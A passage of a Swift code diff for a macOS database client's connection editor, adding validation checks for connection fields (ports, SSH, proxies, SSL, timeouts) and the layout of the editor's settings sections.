connection.type, + sshConfig: connection.sshConfig, + sslConfig: connection.sslConfig, + color: connection.color, + iconName: connection.iconName, + tagIds: connection.tagIds, + groupId: connection.groupId, + sshProfileId: connection.sshProfileId, + sshTunnelMode: connection.sshTunnelMode, + credentialMode: connection.credentialMode, + cloudflareTunnelMode: connection.cloudflareTunnelMode, + cloudSQLProxyMode: connection.cloudSQLProxyMode, + socksProxyMode: connection.socksProxyMode, + tunnelCommandMode: connection.tunnelCommandMode, + safeModeLevel: connection.preferredSafeModeLevel, + aiPolicy: connection.aiPolicy, + aiRules: connection.aiRules, + aiAlwaysAllowedTools: connection.aiAlwaysAllowedTools, + externalAccess: connection.externalAccess, + redisDatabase: connection.redisDatabase, + startupCommands: connection.startupCommands, + sortOrder: connection.sortOrder, + localOnly: connection.localOnly, + isSample: connection.isSample, + isFavorite: connection.isFavorite, + passwordSource: connection.passwordSource, + additionalFields: connection.additionalFields + ) + copy.sshRoute = connection.sshRoute + copy.origin = connection.origin + return copy + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift new file mode 100644 index 0000000000..e5bb2f1fce --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -0,0 +1,360 @@ +// +// ConnectionEditorEngine+Issues.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +extension ConnectionEditorEngine { + private struct PendingIssue { + let row: EditorRow + let message: String + var severity: FieldIssue.Severity = .error + var fallbackRow: EditorRow? + } + + // Every issue names a row the layout shows; one whose row is not on screen moves to its fallback or is dropped. + static func issues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout? = nil + ) -> [FieldIssue] { + let layout = layout ?? self.layout(draft, traits, context) + var pending: [PendingIssue] = [] + pending += generalIssues(draft, traits, context, layout: layout) + pending += transportIssues(draft, traits, context) + pending += sslIssues(draft, traits) + pending += optionIssues(draft, traits, layout: layout) + + var issues: [FieldIssue] = [] + for item in pending { + let row = layout.contains(item.row) ? item.row : item.fallbackRow + guard let row, let facet = layout.facet(containing: row) else { continue } + let issue = FieldIssue(facet: facet, row: row, message: item.message, severity: item.severity) + if !issues.contains(issue) { + issues.append(issue) + } + } + return issues + } + + // MARK: - General + + private static func generalIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout + ) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if draft.name.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.name), message: String(localized: "Connection name is required"))) + } + if draft.database.trimmingCharacters(in: .whitespaces).isEmpty { + switch traits.connectionMode { + case .fileBased: + pending.append(PendingIssue(row: .builtIn(.databaseFile), message: String(localized: "Database file path is required"))) + case .apiOnly where traits.showsBuiltInDatabaseField: + pending.append(PendingIssue(row: .builtIn(.database), message: String(localized: "Database name is required"))) + default: + break + } + } + if let issue = portIssue(draft.portText) { + pending.append(PendingIssue(row: .builtIn(.port), message: issue)) + } + pending += pluginFieldIssues(draft, traits, context, layout: layout) + pending += hostListIssues(draft, traits) + if usesLocalSocket(draft, traits) { + if let endpoint = localSocketEndpoint(draft, traits) { + if let issue = endpoint.issue { + pending.append(PendingIssue(row: .builtIn(.localSocketPath), message: issue)) + } + } else { + pending.append(PendingIssue( + row: .builtIn(.localSocketPath), + message: String(format: String(localized: "%@ is required"), String(localized: "Socket")) + )) + } + } + if credentialProfileIsMissing(draft, context), !context.credentialProfilesLoadFailed { + pending.append(PendingIssue( + row: .builtIn(.credentialProfile), + message: String(localized: "This connection uses a credential profile that isn't on this Mac."), + severity: .warning + )) + } + return pending + } + + // A linked profile supplies its own secure fields at connect, so an empty copy here blocks nothing. + private static func pluginFieldIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout + ) -> [PendingIssue] { + let suppliedByProfile = Set(context.credentialProfile(draft.credentials.mode.profileId)?.secureFieldIds ?? []) + var pending: [PendingIssue] = [] + for field in traits.fields where layout.contains(.plugin(fieldID: field.id)) { + let row = EditorRow.plugin(fieldID: field.id) + switch field.content { + case .plain: + let value = value(of: field, in: draft) + if field.isRequired, !suppliedByProfile.contains(field.id), + value.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: row, message: String(format: String(localized: "%@ is required"), field.label))) + } + if let rangeIssue = field.rangeIssue(in: draft.fieldValues[field.id] ?? "") { + pending.append(PendingIssue(row: row, message: rangeIssue)) + } + case .loadableExtensions: + let extensions = (try? LoadableExtensionList.decode(draft.fieldValues[field.id])) ?? [] + do { + try LoadableExtensionPreflight.validate(extensions) + } catch let error as LoadableExtensionError { + pending.append(PendingIssue(row: row, message: error.failureReason ?? error.localizedDescription)) + } catch { + pending.append(PendingIssue(row: row, message: error.localizedDescription)) + } + case .attachedDatabases: + do { + try AttachedDatabaseList.validate(AttachedDatabaseList.decode(draft.fieldValues[field.id])) + } catch let error as AttachedDatabaseError { + pending.append(PendingIssue(row: row, message: error.failureReason ?? error.localizedDescription)) + } catch { + pending.append(PendingIssue(row: row, message: error.localizedDescription)) + } + @unknown default: + break + } + } + return pending + } + + // A pasted https:// node is stored as host:port, and SSL Mode picks the scheme, so Disabled sends it over plain HTTP. + private static func hostListIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [PendingIssue] { + guard let hostList = traits.fields.endpointHostList else { return [] } + let row = EditorRow.plugin(fieldID: hostList.id) + let entries = (draft.fieldValues[hostList.id] ?? "") + .split(separator: ",") + .map { $0.trimmingCharacters(in: .whitespaces) } + .filter { !$0.isEmpty } + var pending = entries + .filter { HostListEndpoint.parse($0, defaultPort: traits.defaultPort) == nil } + .map { PendingIssue(row: row, message: String(format: String(localized: "“%@” is not a host or host:port"), $0)) } + if traits.supportsSSL, draft.ssl.mode == .disabled, let secure = entries.first(where: HostListEndpoint.usesHTTPS) { + pending.append(PendingIssue( + row: .builtIn(.sslMode), + message: String(format: String(localized: "%@ needs an SSL Mode other than Disabled"), secure), + fallbackRow: row + )) + } + return pending + } + + // MARK: - Transports + + private static func transportIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext + ) -> [PendingIssue] { + switch draft.transport { + case .ssh, .remoteFile: + return sshIssues(draft, context) + case .cloudflare: + return cloudflareIssues(draft.cloudflare) + case .cloudSQLProxy: + return cloudSQLIssues(draft.cloudSQLProxy) + case .socksProxy: + var pending: [PendingIssue] = [] + if draft.socksProxy.host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.socksHost), message: String(localized: "SOCKS proxy host is required"))) + } + if parsePort(draft.socksProxy.port) == nil { + pending.append(PendingIssue( + row: .builtIn(.socksPort), + message: String(localized: "SOCKS proxy port must be between 1 and 65535") + )) + } + return pending + case .tunnelCommand: + let row: BuiltInRow + switch draft.tunnelCommand.config.method { + case .kubectl: row = .kubernetesResource + case .awsSSM: row = .awsTarget + case .custom: row = .tunnelCommand + } + return TunnelCommandBuilder.validationIssues(for: draft.tunnelCommand.trimmedConfiguration) + .map { PendingIssue(row: .builtIn(row), message: $0) } + case .remoteDatabaseSession, nil: + return [] + } + } + + private static func sshIssues(_ draft: ConnectionDraft, _ context: EditorContext) -> [PendingIssue] { + var pending: [PendingIssue] = [] + let resolution = sshResolution(draft, context) + switch resolution { + case .inline: + if draft.ssh.host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.sshHost), + message: String(localized: "SSH host is required"), + fallbackRow: .builtIn(.sshConfigHost) + )) + } + if !draft.ssh.port.isEmpty, parsePort(draft.ssh.port) == nil { + pending.append(PendingIssue(row: .builtIn(.sshPort), message: String(localized: "SSH port must be between 1 and 65535"))) + } + for jumpHost in draft.ssh.jumpHosts where !jumpHost.isValid { + pending.append(PendingIssue( + row: .builtIn(.jumpHost(jumpHost.id)), + message: String(localized: "Jump host configuration is invalid") + )) + } + case .unresolvedProfile: + if !context.sshProfilesLoadFailed { + pending.append(PendingIssue( + row: .builtIn(.sshProfileMissing), + message: String(localized: "The SSH profile this connection uses isn't on this Mac."), + severity: .warning + )) + } + case .profile, .disabled: + break + } + guard draft.transport == .remoteFile else { return pending } + if draft.ssh.profileId != nil { + let host: String + switch resolution { + case .profile(let profile): host = profile.host + case .unresolvedProfile(_, let snapshot): host = snapshot.host + case .inline, .disabled: host = draft.ssh.host + } + if host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.sshProfile), message: String(localized: "SSH host is required"))) + } + } + if draft.ssh.remoteFilePath.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.remoteFilePath), + message: String(localized: "Remote database file path is required") + )) + } + return pending + } + + private static func cloudflareIssues(_ cloudflare: CloudflareDraft) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if cloudflare.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.cloudflareHostname), message: String(localized: "Cloudflare hostname is required"))) + } + if !cloudflare.automaticPort, parsePort(cloudflare.localPort) == nil { + pending.append(PendingIssue( + row: .builtIn(.cloudflareLocalPort), + message: String(localized: "Local port must be between 1 and 65535") + )) + } + if cloudflare.authMethod == .serviceToken, + cloudflare.serviceTokenId.trimmingCharacters(in: .whitespaces).isEmpty + || cloudflare.serviceTokenSecret.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.cloudflareTokenId), + message: String(localized: "Service token ID and secret are required") + )) + } + return pending + } + + private static func cloudSQLIssues(_ proxy: CloudSQLProxyDraft) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if !proxy.configuration.isValid { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLInstance), + message: String(localized: "Instance connection name must be project:region:instance") + )) + } + if !proxy.automaticPort, parsePort(proxy.localPort) == nil { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLLocalPort), + message: String(localized: "Local port must be between 1 and 65535") + )) + } + if proxy.authMode == .serviceAccountKey, !proxy.hasServiceAccountKey { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLServiceAccountKey), + message: String(localized: "A service account key is required") + )) + } + return pending + } + + // MARK: - SSL + + private static func sslIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [PendingIssue] { + guard showsSSL(draft, traits) else { return [] } + var pending: [PendingIssue] = [] + let mode = draft.ssl.mode + if !offeredSSLModes(draft, traits).contains(mode) { + let message = traits.ssl.supportedModes.contains(mode) + ? String(format: String(localized: "The %1$@ driver cannot use SSL Mode %2$@ through a tunnel."), traits.displayName, mode.displayLabel) + : String(format: String(localized: "The %1$@ driver does not support SSL Mode %2$@."), traits.displayName, mode.displayLabel) + pending.append(PendingIssue(row: .builtIn(.sslMode), message: message)) + } + guard traits.ssl.supportsPerConnectionCertificatePaths else { return pending } + if traits.ssl.requiresCACertificate(for: mode), draft.ssl.caCertPath.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.sslCACertificate), + message: String(localized: "CA certificate is required for verification modes") + )) + } + let hasClientCert = !draft.ssl.clientCertPath.trimmingCharacters(in: .whitespaces).isEmpty + let hasClientKey = !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty + if hasClientCert, !hasClientKey { + pending.append(PendingIssue( + row: .builtIn(.sslClientKey), + message: String(localized: "Client key is required when client certificate is set") + )) + } + return pending + } + + // MARK: - Options + + private static func optionIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, layout: EditorLayout) -> [PendingIssue] { + var pending: [PendingIssue] = [] + let options = draft.options + if let seconds = options.connectTimeoutSeconds, !DatabaseConnection.connectTimeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.connectTimeout), + message: String(localized: "Connect timeout must be between 1 and 600 seconds.") + )) + } + if let seconds = options.queryTimeoutSeconds, !DatabaseConnection.queryTimeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.queryTimeout), + message: String(localized: "Query timeout must be between 0 and 2,147,483 seconds.") + )) + } + if let kilobytes = options.binaryInlineLimitKilobytes, + !DatabaseConnection.binaryInlineLimitKilobytesRange.contains(kilobytes) { + pending.append(PendingIssue( + row: .builtIn(.binaryInlineLimit), + message: String(localized: "Binary values limit must be between 1 and 1,048,576 KB.") + )) + } + if let seconds = options.scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.scriptTimeout), + message: String(localized: "Script timeout must be between 1 and 300 seconds.") + )) + } + return pending + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift new file mode 100644 index 0000000000..0c5d4e60dd --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift @@ -0,0 +1,613 @@ +// +// ConnectionEditorEngine+Layout.swift +// TablePro +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +extension ConnectionEditorEngine { + static func layout(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> EditorLayout { + var facets = [generalFacet(draft, traits, context)] + if availableTransports(draft, traits).count > 1 { + facets.append(transportFacet(draft, traits, context)) + } + if showsSSL(draft, traits) { + facets.append(sslFacet(draft, traits)) + } + facets.append(appearanceFacet()) + facets.append(safeModeFacet(draft, traits, context)) + facets.append(aiFacet(draft, context)) + facets.append(startupFacet()) + facets.append(advancedFacet(draft, traits, context)) + return EditorLayout(facets: facets) + } + + private static func pluginRows( + _ fields: [ConnectionField], + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits + ) -> [EditorRow] { + fields.filter { isVisible($0, draft, traits) }.map { .plugin(fieldID: $0.id) } + } + + private static func isHostList(_ field: ConnectionField) -> Bool { + if case .hostList = field.fieldType { return true } + return false + } + + // MARK: - General + + private static func generalFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout( + id: "identity", + title: nil, + footer: nil, + rows: [.builtIn(.name), .builtIn(.type), .builtIn(.environment)] + ) + ] + if let connection = connectionSection(draft, traits) { + sections.append(connection) + } + if let authentication = authenticationSection(draft, traits) { + sections.append(authentication) + } + return FacetLayout(facet: .general, title: ConnectionFacet.general.title, sections: sections) + } + + private static func connectionSection(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SectionLayout? { + let connectionFields = traits.fields.filter { $0.section == .connection } + switch traits.connectionMode { + case .fileBased: + return SectionLayout( + id: "connection", + title: String(localized: "Database File"), + footer: nil, + rows: [.builtIn(.databaseFile)] + pluginRows(connectionFields, draft, traits) + ) + case .apiOnly: + var rows = pluginRows(connectionFields, draft, traits) + if traits.showsBuiltInDatabaseField { + rows.append(.builtIn(.database)) + } + guard !rows.isEmpty else { return nil } + return SectionLayout(id: "connection", title: String(localized: "Connection"), footer: nil, rows: rows) + default: + var rows: [EditorRow] = [] + if traits.supportsLocalSocket { + rows.append(.builtIn(.endpointKind)) + } + if usesLocalSocket(draft, traits) { + rows.append(.builtIn(.localSocketPath)) + if traits.localSocketIsDirectory { + rows.append(.builtIn(.port)) + } + } else { + let hostLists = visibleHostListFields(draft, traits) + if hostLists.isEmpty { + rows += [.builtIn(.host), .builtIn(.port)] + if showsPortTLSNotice(draft, traits) { + rows.append(.builtIn(.portTLSNotice)) + } + } else { + rows += hostLists.map { .plugin(fieldID: $0.id) } + } + rows += pluginRows(connectionFields.filter { !isHostList($0) }, draft, traits) + } + if traits.showsBuiltInDatabaseField { + rows.append(.builtIn(.database)) + } + var footer: String? + if !usesLocalSocket(draft, traits), forwardsToUnixSocket(draft) { + footer = String(localized: "Host and Port are unused. The SSH tunnel forwards to the socket path set in SSH & Proxies.") + } + return SectionLayout(id: "connection", title: String(localized: "Connection"), footer: footer, rows: rows) + } + } + + static func showsPortTLSNotice(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.supportsSSL, let implied = traits.ssl.impliedMode(forPort: resolvedPort(draft, traits)) else { + return false + } + return draft.ssl.mode == implied || draft.ssl.mode == .disabled + } + + private static func authenticationSection(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SectionLayout? { + let authFields = traits.fields.filter { $0.section == .authentication } + // A file has no sign-in, so a file type shows only what its plugin declares. + guard traits.connectionMode != .fileBased else { + let rows = pluginRows(authFields, draft, traits) + guard !rows.isEmpty else { return nil } + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + let split = authFields.splitCredentialControllers() + var rows: [EditorRow] = [.builtIn(.credentialProfile)] + if draft.credentials.usesProfile { + rows += pluginRows(split.rest, draft, traits) + } else { + rows += pluginRows(split.usernameControllers, draft, traits) + if traits.connectionMode == .network, !hidesUsername(draft, traits) { + rows.append(.builtIn(.username)) + } + rows += pluginRows(split.passwordControllers, draft, traits) + if !hidesPassword(draft, traits) { + if draft.credentials.passwordSource != nil { + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.passwordSource)) + } + rows.append(.builtIn(.passwordMode)) + } else { + rows.append(.builtIn(.passwordMode)) + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.password)) + } + } + } + rows += pluginRows(split.rest, draft, traits) + if showsKerberosNote(draft, traits) { + rows.append(.builtIn(.kerberosNote)) + } + if usesPgpass(draft, traits) { + rows.append(.builtIn(.pgpassStatus)) + } + } + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + + static let pgpassFieldId = "usePgpass" + + static func usesPgpass(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.field(pgpassFieldId) != nil && draft.fieldValues[pgpassFieldId] == "true" + } + + static func usesWindowsAuthentication(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.pluginTypeId == "SQL Server" && draft.fieldValues["mssqlAuthMethod"] == "windows" + } + + static func showsKerberosNote(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + usesWindowsAuthentication(draft, traits) || KerberosAuthFields.isSelected(in: draft.fieldValues) + } + + // MARK: - SSH and proxies + + private static func transportFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout( + id: "transport", + title: nil, + footer: transportSummary(draft, traits), + rows: [.builtIn(.transport)] + ) + ] + switch draft.transport { + case .ssh: + sections += sshServerSections(draft, context) + if traits.socketForwardApplies { + sections.append(SectionLayout( + id: "forwardTo", + title: String(localized: "Forward To"), + footer: nil, + rows: [.builtIn(.sshForwardSocketPath)] + )) + } + case .remoteFile: + var rows: [EditorRow] = [.builtIn(.remoteFilePath)] + if traits.supportsRemoteDatabaseSession { + rows.append(.builtIn(.remoteFileAccess)) + } + sections.append(SectionLayout(id: "remoteFile", title: String(localized: "Remote File"), footer: nil, rows: rows)) + sections += sshServerSections(draft, context) + case .cloudflare: + sections += cloudflareSections(draft) + case .cloudSQLProxy: + sections += cloudSQLSections(draft) + case .socksProxy: + sections += [ + SectionLayout( + id: "socksServer", + title: String(localized: "Proxy Server"), + footer: nil, + rows: [.builtIn(.socksHost), .builtIn(.socksPort)] + ), + SectionLayout( + id: "socksCredentials", + title: String(localized: "Credentials"), + footer: nil, + rows: [.builtIn(.socksUsername), .builtIn(.socksPassword)] + ) + ] + case .tunnelCommand: + sections += tunnelCommandSections(draft) + case .remoteDatabaseSession, nil: + break + } + let title = traits.supportsRemoteDatabaseFile ? String(localized: "Remote File") : ConnectionFacet.sshAndProxies.title + return FacetLayout(facet: .sshAndProxies, title: title, sections: sections) + } + + static func transportSummary(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if draft.transport == .remoteFile, traits.supportsRemoteDatabaseSession, draft.ssh.remoteFileAccess == .onServer { + return ConnectionTunnelKind.remoteDatabaseSession.summary + } + if let transport = draft.transport { + return transport.summary + } + return ConnectionTunnelKind.directSummary( + isFileBased: traits.connectionMode == .fileBased, + usesLocalSocket: usesLocalSocket(draft, traits), + localSocketSkipsTLS: localSocketSkipsTLS(draft, traits) + ) + } + + private static func sshServerSections(_ draft: ConnectionDraft, _ context: EditorContext) -> [SectionLayout] { + var profileRows: [EditorRow] = [.builtIn(.sshProfile)] + if sshProfileIsUnresolved(draft, context) { + profileRows.append(.builtIn(.sshProfileMissing)) + } + var sections = [SectionLayout(id: "sshProfile", title: String(localized: "Profile"), footer: nil, rows: profileRows)] + guard draft.ssh.profileId == nil else { return sections } + + var serverRows: [EditorRow] = [] + if !context.sshConfigEntries.isEmpty { + serverRows.append(.builtIn(.sshConfigHost)) + } + if draft.ssh.selectedConfigHost.isEmpty { + serverRows.append(.builtIn(.sshHost)) + } + serverRows += [.builtIn(.sshPort), .builtIn(.sshUsername)] + sections.append(SectionLayout(id: "sshServer", title: String(localized: "Server"), footer: nil, rows: serverRows)) + + var authRows: [EditorRow] = [.builtIn(.sshAuthMethod)] + switch draft.ssh.authMethod { + case .password, .keyboardInteractive: + authRows.append(.builtIn(.sshPassword)) + case .sshAgent: + authRows += [.builtIn(.sshAgentSocket), .builtIn(.sshIdentityFile)] + case .privateKey: + authRows += [.builtIn(.sshKeyFile), .builtIn(.sshKeyPassphrase)] + case .none: + authRows.append(.builtIn(.sshNoAuthenticationNote)) + } + sections.append(SectionLayout(id: "sshAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows)) + + if draft.ssh.authMethod.supportsTwoFactorAuthentication { + var totpRows: [EditorRow] = [.builtIn(.sshTOTPMode)] + if draft.ssh.totpMode == .autoGenerate { + totpRows += [.builtIn(.sshTOTPSecret), .builtIn(.sshTOTPAlgorithm), .builtIn(.sshTOTPDigits), .builtIn(.sshTOTPPeriod)] + } + sections.append(SectionLayout( + id: "sshTwoFactor", + title: String(localized: "Two-Factor Authentication"), + footer: nil, + rows: totpRows + )) + } + + let jumpRows = draft.ssh.jumpHosts.map { EditorRow.builtIn(.jumpHost($0.id)) } + [.builtIn(.addJumpHost)] + sections.append(SectionLayout(id: "sshJumpHosts", title: String(localized: "Jump Hosts"), footer: nil, rows: jumpRows)) + return sections + } + + private static func cloudflareSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var authRows: [EditorRow] = [.builtIn(.cloudflareAuthMethod)] + switch draft.cloudflare.authMethod { + case .browserSSO: + authRows.append(.builtIn(.cloudflareSignIn)) + case .serviceToken: + authRows += [.builtIn(.cloudflareTokenId), .builtIn(.cloudflareTokenSecret)] + } + var listenerRows: [EditorRow] = [.builtIn(.cloudflareAutomaticPort)] + if !draft.cloudflare.automaticPort { + listenerRows.append(.builtIn(.cloudflareLocalPort)) + } + listenerRows.append(.builtIn(.cloudflareExposeToLAN)) + return [ + SectionLayout( + id: "cloudflareApplication", + title: String(localized: "Access Application"), + footer: nil, + rows: [.builtIn(.cloudflareHostname)] + ), + SectionLayout(id: "cloudflareAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows), + SectionLayout(id: "cloudflareListener", title: String(localized: "Local Listener"), footer: nil, rows: listenerRows), + SectionLayout(id: "cloudflareBinary", title: "cloudflared", footer: nil, rows: [.builtIn(.cloudflareBinary)]) + ] + } + + private static func cloudSQLSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var authRows: [EditorRow] = [.builtIn(.cloudSQLAuthMode)] + if draft.cloudSQLProxy.authMode == .serviceAccountKey { + authRows.append(.builtIn(.cloudSQLServiceAccountKey)) + } + authRows += [.builtIn(.cloudSQLIAMAuth), .builtIn(.cloudSQLPrivateIP)] + var listenerRows: [EditorRow] = [.builtIn(.cloudSQLAutomaticPort)] + if !draft.cloudSQLProxy.automaticPort { + listenerRows.append(.builtIn(.cloudSQLLocalPort)) + } + return [ + SectionLayout( + id: "cloudSQLInstance", + title: String(localized: "Cloud SQL Instance"), + footer: nil, + rows: [.builtIn(.cloudSQLInstance)] + ), + SectionLayout(id: "cloudSQLAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows), + SectionLayout(id: "cloudSQLListener", title: String(localized: "Local Listener"), footer: nil, rows: listenerRows), + SectionLayout(id: "cloudSQLBinary", title: "cloud-sql-proxy", footer: nil, rows: [.builtIn(.cloudSQLBinary)]) + ] + } + + private static func tunnelCommandSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var sections = [ + SectionLayout(id: "tunnelMethod", title: String(localized: "Method"), footer: nil, rows: [.builtIn(.tunnelCommandMethod)]) + ] + switch draft.tunnelCommand.config.method { + case .kubectl: + sections.append(SectionLayout( + id: "tunnelKubernetes", + title: String(localized: "Kubernetes"), + footer: nil, + rows: [.builtIn(.kubernetesResource), .builtIn(.kubernetesNamespace), .builtIn(.kubernetesContext)] + )) + sections.append(executableSection()) + case .awsSSM: + sections.append(SectionLayout( + id: "tunnelAWS", + title: String(localized: "AWS Systems Manager"), + footer: nil, + rows: [.builtIn(.awsTarget), .builtIn(.awsProfile), .builtIn(.awsRegion)] + )) + sections.append(executableSection()) + case .custom: + sections.append(SectionLayout( + id: "tunnelCustom", + title: String(localized: "Command"), + footer: nil, + rows: [.builtIn(.tunnelCommand)] + )) + } + sections.append(SectionLayout( + id: "tunnelPreview", + title: String(localized: "Will Run"), + footer: nil, + rows: [.builtIn(.tunnelCommandPreview)] + )) + return sections + } + + private static func executableSection() -> SectionLayout { + SectionLayout( + id: "tunnelExecutable", + title: nil, + footer: String(localized: """ + Leave blank to find it on your PATH. Apps launched from the Dock do not inherit \ + your shell's PATH, so a tool installed somewhere unusual needs its full path here. + """), + rows: [.builtIn(.tunnelCommandExecutable)] + ) + } + + // MARK: - SSL + + private static func sslFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> FacetLayout { + let mode = draft.ssl.mode + var modeRows: [EditorRow] = [.builtIn(.sslMode)] + if mode == .preferred, !traits.ssl.supportsOpportunisticTLS { + modeRows.append(.builtIn(.sslNoFallbackNotice)) + } + var footerLines: [String] = [] + if !traits.ssl.note.isEmpty { + footerLines.append(traits.ssl.note) + } + if mode != .disabled { + footerLines.append(mode.description) + } + if usesLocalSocket(draft, traits), mode == .preferred { + footerLines.append(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) + } + var sections = [ + SectionLayout( + id: "sslMode", + title: nil, + footer: footerLines.isEmpty ? nil : footerLines.joined(separator: "\n"), + rows: modeRows + ) + ] + guard mode != .disabled else { + return FacetLayout(facet: .sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + guard traits.ssl.supportsPerConnectionCertificatePaths else { + sections.append(SectionLayout( + id: "sslTrust", + title: String(localized: "Certificate Trust"), + footer: nil, + rows: [.builtIn(.sslCertificateTrustNote)] + )) + return FacetLayout(facet: .sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + if mode == .verifyCa || mode == .verifyIdentity { + let optional = !traits.ssl.requiresCACertificate(for: mode) + sections.append(SectionLayout( + id: "sslCA", + title: String(localized: "CA Certificate"), + footer: optional ? String(localized: "Leave empty to use the system trust store.") : nil, + rows: [.builtIn(.sslCACertificate)] + )) + } + var clientRows: [EditorRow] = [.builtIn(.sslClientCertificate), .builtIn(.sslClientKey)] + if traits.ssl.supportsClientKeyPassphrase, !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + clientRows.append(.builtIn(.sslClientKeyPassphrase)) + } + sections.append(SectionLayout( + id: "sslClient", + title: String(localized: "Client Certificates"), + footer: String(localized: "Required only when the server enforces mutual TLS authentication."), + rows: clientRows + )) + return FacetLayout(facet: .sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + + // MARK: - Appearance, Safe Mode, AI, Startup + + private static func appearanceFacet() -> FacetLayout { + FacetLayout(facet: .appearance, title: ConnectionFacet.appearance.title, sections: [ + SectionLayout( + id: "appearance", + title: nil, + footer: String(localized: "The icon and color mark this connection in the connection list and its window."), + rows: [.builtIn(.icon), .builtIn(.color), .builtIn(.tags), .builtIn(.group)] + ) + ]) + } + + private static func safeModeFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var footerLines: [String] = [] + if let floor = safeModeFloor(draft, traits, context) { + footerLines.append(floor.explanation) + } + if traits.manualCommitAvailable { + // swiftlint:disable:next line_length + footerLines.append(String(localized: "Your first change opens a transaction, and nothing is saved until you commit. Structure changes, Users & Roles, Copy To, Generate Rows and Shortcuts actions still save at once.")) + } else { + footerLines.append(ManualCommit.unavailableExplanation) + } + return FacetLayout(facet: .safeMode, title: ConnectionFacet.safeMode.title, sections: [ + SectionLayout( + id: "safeMode", + title: nil, + footer: footerLines.joined(separator: "\n"), + rows: [.builtIn(.safeModeLevel), .builtIn(.manualCommit)] + ), + SectionLayout( + id: "masking", + title: String(localized: "Masking"), + footer: String(localized: """ + Hides matching values in the grid, copies, exports, shared links, the AI assistant and MCP. \ + A pattern is table.column or column, with * as a wildcard, such as *.email. \ + Filters and sorts still run on the stored values, so masking does not replace database permissions. + """), + rows: [.builtIn(.maskingRules)] + ) + ]) + } + + private static func aiFacet(_ draft: ConnectionDraft, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout(id: "externalClients", title: String(localized: "External Clients"), footer: nil, rows: [.builtIn(.externalAccess)]) 